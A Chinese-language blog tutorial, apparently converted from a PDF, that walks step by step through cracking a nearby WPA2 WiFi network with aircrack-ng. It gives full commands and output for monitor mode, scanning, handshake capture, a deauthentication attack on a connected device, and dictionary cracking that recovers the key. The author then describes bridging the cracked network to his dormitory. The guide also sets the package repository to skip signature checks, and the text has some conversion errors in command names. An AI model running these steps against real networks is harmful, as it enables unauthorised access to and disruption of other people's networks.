```
利用aircrack-ng暴力破解附近的WiFi实战
 本文章仅作为技术学习交流,请不要随意拿邻居开刀。
7 提前准备
你需要如下材料
• 一个支持监听的无线网卡设备
• 一个强大的WiFi字典
• 一个有WiFi的地方
了 安装软件
你可以在网上找到aircrack-ng的项目地址进行安装或若你是Arch用户仅需要添加BlackArch的软件源,随后通过packman安装即
可。
♥ 添加BlackArch软件源
将这段配置写入到 /etc/pacman.conf 中。
    [blackarch]
    SigLevel = Never
    Server = https://mirrors.tuna.tsinghua.edu.cn/blackarch/$repo/os/$arch
随后刷新软件源:
                                                                                      shell
    pacman -Syy
♥ 用pacman安装它
仅需要一条命令即可安装:
                                                                                      shell
    pacman -S aircrack-ng
● 下载字典
由于是通过暴力破解方式破解Wifi密码,所以你需要下载一些强大的字典,字典可以直接在Github上搜索,或者直接google。这
里就不提供了。
3 具体步骤
总体分为以下三步:
● 将网卡设置为监听模式
获取你网卡的设备名:
                                                                                      shell
    iwconfig
我的电脑获取网卡信息如下:
                                                                                 fundamental
    10
            no wireless extensions.
            IEEE 802.11 ESSID:"203"
    wlan0
            Mode: Managed Frequency: 2.462 GHz Access Point: 14:75:90:9E:29:8E
            Bit Rate=108 Mb/s Tx-Power=22 dBm
            Retry short limit:7 RTS thr:off Fragment thr:off
            Power Management:on
            Link Quality=67/70 Signal level=-43 dBm
            Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
            Tx excessive retries:0 Invalid misc:2 Missed beacon:0
下面列举下有用的网卡信息:
   关键词
                  解释
            网卡设备名
wlan0
IEEE 802.11
            所使用的协议
            当前连接的WiFi
ESSID
            当前网卡的模式
Mode
            网卡的频率
Frequency
Link Quality WiFi连接的质量
Signal level 信号强度,越低越好
下面需要将网卡设备为监听模式,需要使用 airmon-ng (注意我这里wlan0是我的设备名,你需要替换成你的):
                                                                                      shell
    sudo airomon-ng start wlan0
设置完毕后你可以输出一下网卡信息,确保 Mode 为 Monitor 且设备名变成了 wlanomon , 也就是监听模式。此时你会断网。
♥ 扫描附近的WiFi
开启监听模式的网卡下面可以对附近的WiFi进行扫描了, 通过 Airodump-ng 进行扫描附近网络
                                                                                      shell
    sudo airodump-ng wlan⊘mon
下面是我附近的WiFi状况:
                                                                                 fundamental
     CH 5 ][ Elapsed: 6 s ][ 2021-04-07 23:34
                   PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
     BSSID
     B8:F8:83:5E:EF:35 -3
                                  1 0 6 405 WPA2 CCMP PSK 201最帅
     BC:54:FC:62:A1:95 -5
                                  0 0 1 270 WPA2 CCMP PSK 零
     80:EA:07:36:3D:6F -12
                                  0 0 1 270 WPA2 CCMP PSK 声微饭否
                                  8 0 1 130 WPA2 CCMP PSK <length: 0>
     64:64:4A:27:74:37 -14
     4A:7D:2E:03:04:DF -30
                                  0 0 11 270 WPA2 CCMP PSK hackers
     14:75:90:9E:29:8E -35
                                  0 0 11 270 WPA2 CCMP PSK 203
                                                             <length: 0>
     F0:B4:29:86:BB:8F -71
                            0
                                  6 2 1 -1 WPA
                                                           <length: 0>
     DA:42:10:A9:9D:C8 -71
                                  0 0 -1 -1
                           3 0 0 6 405 WPA2 CCMP PSK cui-wifi
     B0:95:8E:47:A9:87 -126
     BSSID
                   STATION
                                  PWR Rate
                                           Lost Frames Notes Probes
这里我们将会对 203 这个WiFi进行攻击,所以我们需要记录下对应的 BSSID 以及 CH ,这两个值分别是WiFi唯一标识和信道。
建议选择 PWR 较小的WiFi, 因为这意味着信号较好。
● 利用Airodump-ng抓取包含加密密钥的握手包
随后我们再次使用Airodump-ng尝试抓取包含密钥的握手包:
                                                                                      shell
    sudo airodump-ng wlan0mon -c 11 --bssid 14:75:90:9E:29:8E
其中的 -c 参数代表了信道号, --bssid 代表此WiFi的唯一标识。
执行后等待一会, 输出结果如下:
                                                                                 fundamental
    CH 11 ][ Elapsed: 6 s ][ 2021-04-07 23:41
     BSSID
                   PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
     14:75:90:9E:29:8E -37 1 89 4294 299 11 270 WPA2 CCMP PSK 203
     BSSID
                   STATION
                                  PWR Rate Lost Frames Notes Probes
     14:75:90:9E:29:8E E0:DC:FF:DC:5A:89 -40 0 - 0e 817 4259
     14:75:90:9E:29:8E 80:ED:2C:10:0D:8A -63 0 -24 0 2
     14:75:90:9E:29:8E FA:83:C4:C0:8F:DF -60 0e-24 88
从这个输出结果我们可以分析到的数据:
• 当前连接此WiFi的设备有4台,以及每台设备的唯一标识,发包数等。 下面的四行也就代表了四台设备,我们需要记录 Lost
有变化的设备标识,这里我们选择标识为 E0:DC:FF:DC:5A:89 的设备。
好的, 目前我们掌握了几条有用的信息, 如下:
WiFi唯一标识
14:75:90:9E:29:8E
连接WiFi的设备之一的标识
E0:DC:FF:DC:5A:89
WiFi的信道
11
下面我们需要根据以上信息进行抓包,尝试拿到包含密钥的握手包。
    sudo airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
注意,这里的 -w 是指将抓到的数据文件的前缀名,所以我建议你最好创建一个目录并在此目录下执行命令。
随后我们只需要一直运行这条命令即可, 不要关闭它。
♥ 利用Aireplay-ng加速获取握手包速度
下面我们需要利用 Aireplay-ng 进行断网攻击, 当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。
                                                                                      shell
    sudo aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89
这里的 -0 代表攻击次数,后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。
此命令的输出结果如下:
                                                                                 fundamental
    23:55:26 Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
    23:55:28 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
    23:55:29 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3 | 1 ACKs]
    23:55:30 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
    23:55:32 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8 | 7 ACKs]
    23:55:34 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
    23:55:36 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7 | 14 ACKs]
    23:55:39 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
    23:55:41 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
    23:55:43 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5 | 5 ACKs]
    23:55:45 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]
如果这种方式多次失败, 可以尝试去掉 -c 参数, 进行范围打击, 对每个设备都进行攻击, 这样拿到加密包的机率也会有提升。
当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包,也就不需要断网攻击了。
                                                                                      shell
    CH 11 III Elapsed: 6 mins III 2021-04-08 00:05 III WPA handshake: 14:75:90:9E:29:8E
● 利用Aircrak-ng进行暴力破解
下面我们通过准备的字典以及拿到的握手包进行暴力破解。
首先看看我们拿到了哪些数据包:
                                                                                      shell
    cd ~/hack/wifi/demo/203 && pwd && ls -1
    /home/evanmeek/hack/wifi/demo/203
    total 520
    -rw-r--r-- 1 root root 461174 Apr 8 00:07 203-01.cap
     -rw-r--r-- 1 root root 960 Apr 8 00:07 203-01.csv
     -rw-r--r-- 1 root root 590 Apr 8 00:07 203-01.kismet.csv
    -rw-r--r-- 1 root root 8192 Apr 8 00:07 203-01.kismet.netxml
    -rw-r--r-- 1 root root 51262 Apr 8 00:07 203-01.log.csv
包含密钥握手包的文件是 203-01.cap 我们需要使用它。
执行如下命令进行破解
                                                                                      shell
    sudo aircrack-ng 203-01.cap -w ~/hack/wifi/dict/Big_dictionary/english.txt
-w 是我们的字典, 203-01.cap 是我们拿到的密钥握手包。
过了一会,我这个字典刚好包含这个WiFi的密码,仅花了6秒就破解成功。
                                                                                 fundamental
                            Aircrack-ng 1.6
         [00:00:06] 97400/672047 keys tested (15447.93 k/s)
         Time left: 37 seconds
                                                     14.49%
                         KEY FOUND! [ 40154015 ]
                    : D6 16 29 7C 14 8C 73 B6 9F 13 C7 0F F6 84 82 CD
                      DE 7E 6A A4 CF 80 02 09 FA 26 A5 F8 D4 80 CF D8
         Transient Key : A8 09 92 3A C5 03 12 10 94 22 1A A2 D8 6D 34 8C
                      F6 2A 6D 45 35 64 A8 63 A0 4E 67 00 00 00 00 00
                      EAPOL HMAC
                    : 13 2A 3B F7 65 0D 59 34 04 60 35 00 FD EC F1 CA
♥ 关闭网卡监听模式
破解完成后, 我们需要将网卡的模式设置为 Managed 。
```

shell

sudo airmon-ng stop wlan@mon

随后我利用Wifi信号放大,桥接器,将此WiFi桥接到我们宿舍,并将名字改为 hacker 。

最后

Date: 2021-04-07 ⊆ 00:00

Created: 2022-04-05 = 02:26

Author: Evan Meek